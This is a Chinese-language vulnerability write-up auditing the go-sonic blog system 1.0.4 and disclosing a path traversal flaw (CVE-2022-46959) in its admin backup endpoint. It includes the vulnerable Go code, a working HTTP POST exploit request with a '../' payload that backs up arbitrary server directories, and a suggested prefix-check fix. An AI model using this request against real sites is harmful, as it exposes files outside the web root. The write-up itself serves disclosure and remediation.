成功获取到垃圾的CVE编号:cve-2022-46959

前言

在 V2EX 看到帖子知道是 go 开发的博客系统,在B站看过几集视频的我粗略看了下代码好像有漏洞,尝试申请一个 CVE 看一看。

审计

源码:https://github.com/go-sonic/sonic 版本 1.0.4

直接执行 go run main.go 运行程序,然后进行安装。

在 handler/route.go 查看一下路由,发现备份功能的代码在 75 行

backupRouter := authRouter.Group("/backups")
backupRouter.POST("/work-dir", s.wrapHandler(s.BackupHandler.BackupWholeSite))

img

搜索 BackupWholeSite 方法,在 service/impl/backup.go 发现相关代码。

  • BackupWholeSite 方法传入一个数组名为:toBackupItems
  • 66行 遍历 toBackupItems 然后拼接路径 toBackupPath := filepath.Join(b.Config.Sonic.WorkDir, toBackupItem) 因为是直接拼接可以使用 ../ 进行跨目录备份
toBackupItem  			==  ../../../../home/kali/Documents
b.Config.Sonic.WorkDir  ==  /home/kali/Desktop/sonic

toBackupPath			==	/home/kali/Desktop/sonic/../../../../home/kali/Documents
toBackupPath			==  /home/kali/Documents
  • 把 toBackupPath 添加到 toBackupPaths , 70行 把 toBackupPaths 传入到 ZipFile 方法
func (b *backupServiceImpl) BackupWholeSite(ctx context.Context, toBackupItems []string) (*dto.BackupDTO, error) {
	backupFilename := consts.SonicBackupPrefix + time.Now().Format("2006-01-02-15-04-05") + util.GenUUIDWithOutDash() + ".zip"
	backupFilePath := config.BackupDir

	if _, err := os.Stat(backupFilePath); os.IsNotExist(err) {
		err = os.MkdirAll(backupFilePath, os.ModePerm)
		if err != nil {
			return nil, xerr.NoType.Wrap(err).WithMsg("create dir err")
		}
	} else if err != nil {
		return nil, xerr.NoType.Wrap(err).WithMsg("get fileInfo")
	}

	backupFile := filepath.Join(backupFilePath, backupFilename)

	toBackupPaths := []string{}
	for _, toBackupItem := range toBackupItems {
		toBackupPath := filepath.Join(b.Config.Sonic.WorkDir, toBackupItem)
		toBackupPaths = append(toBackupPaths, toBackupPath)
	}

	err := util.ZipFile(backupFile, toBackupPaths...)
	if err != nil {
		return nil, err
	}
	return b.buildBackupDTO(ctx, string(service.WholeSite), backupFile)
}

img

util/file.go跟进 ZipFile 方法,根据传入的目录进行压缩打包

img

利用

通过 ../ 跨目录进行备份

POST /api/admin/backups/work-dir HTTP/1.1
Host: 127.0.0.1:8080
Content-Length: 35
Admin-Authorization: 0996683e-0fab-46ec-936d-953d43be8048
Accept: application/json, text/plain, */*
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
sec-ch-ua: " Not A;Brand";v="99", "Chromium";v="96"
sec-ch-ua-platform: "Linux"
Content-Type: application/json
Origin: http://127.0.0.1:8080
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1:8080/admin/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

["../../../../home/kali/Documents"]

img

img

修复建议

service/impl/backup.go 添加一个路径判断,只能备份网站目录下的文件。http://bit.ly/2MsjAWE

if !strings.HasPrefix(toBackupPath, b.Config.Sonic.WorkDir) {
    return nil, xerr.NoType.New("").WithMsg(toBackupPath + " illegal file path").WithStatus(xerr.StatusInternalServerError)
}

img